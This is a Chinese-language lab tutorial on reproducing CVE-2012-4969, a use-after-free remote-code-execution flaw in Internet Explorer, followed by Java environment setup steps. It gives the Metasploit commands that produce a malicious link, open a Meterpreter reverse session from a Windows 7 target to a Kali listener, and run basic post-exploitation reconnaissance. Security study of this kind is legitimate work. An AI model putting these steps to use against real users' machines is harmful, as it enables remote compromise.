CVE-2012-4969漏洞复现实验流程(及配属java环境安装)
一、该漏洞的相关背景CVE-2012-4969是一个典型的Use-After-Free释放后重用远程代码执行漏洞RCE存在于 Microsoft Internet Explorer 中。属于早期典型水坑攻击Watering Hole Attack利用漏洞。影响的组件IE的内存对象管理机制尤其是对DOM对象的处理攻击方式生成恶意链接诱导目标用户进行点击二、漏洞触发过程此漏洞的本质是IE浏览器在释放对象后仍然继续使用该对象的指针导致攻击者可以借此控制内存内容具体过程如下1.IE浏览器在处理HTML/DOM时会动态创建对象例如元素节点。2.在某些情况下对象被释放后程序仍然持有该对象的引用3.攻击者通过“堆喷射”填充该内存位置4.IE再次访问该对象时执行攻击者构造的数据ShellcodeUse-After-Free → 内存劫持 → 控制EIP → 执行Shellcode三、漏洞复现实验过程实验环境准备kali攻击机安装java1.6.x版本的win7靶机本实验java环境版本非常重要如果不安装对应版本实验环境很大程度上只会出现IE浏览器崩溃但是kali无法接收到shell的情况并建议关闭靶机的防火墙文末会有java环境安装的指导方法1.打开kali的msfconsole模块在其中搜索CVE-2012-4969search CVE-2012-49692.根据自己靶机的IE版本选择对应的攻击载荷此处选择攻击载荷6use 63.在msfconsole中设置监听选项set lhost 【kali的地址】set lport 4444run此时msf会生成一个恶意链接复制该链接并在靶机的IE浏览器内打开。当出现以下语句后表明脚本已经成功执行session已经成功建立。*4.进入会话有些情况会直接显示“ meterpreter ” 如果没有显示则直接回车之后逐步输入以下语句sessions列出当前的所有会话sessions -i 1进入会话至此漏洞初步利用成功。5.后渗透阶段基础信息收集sysinfo查看靶机系统信息OS、架构、主机名等ps列出靶机所有正在运行的进程截图所示为部分进程getpid查看 Meterpreter shell 所在的进程 IDgetuid查看当前会话的用户权限四、java环境安装建议访问Oracle的官方存档直接下载以此保证文件安全且未被篡改。安装开始之前务必记住自己的安装路径随后配置环境变量具体过程如下1.右键点击桌面上的“计算机”图标选择“属性”。2.在打开的窗口左侧点击“高级系统设置”在弹出的“系统属性”窗口中点击“环境变量”按钮。3.在“环境变量”窗口的下方找到“系统变量”区域然后点击“新建”。变量名输入JAVA_HOME变量值粘贴JDK安装路径4.在“系统变量”区域里找到名为Path的变量选中它然后点击“编辑”。在“变量值”的最后添加;%JAVA_HOME%\bin注意开头有一个英文分号用来分隔不同的路径。5.最后在“环境变量”窗口点击“确定”在“系统属性”窗口再点击一次“确定”。然后重启计算机保证所有路径设置有效。6.打开命令提示符输入java -version当出现如下图所示则证明环境安装成功。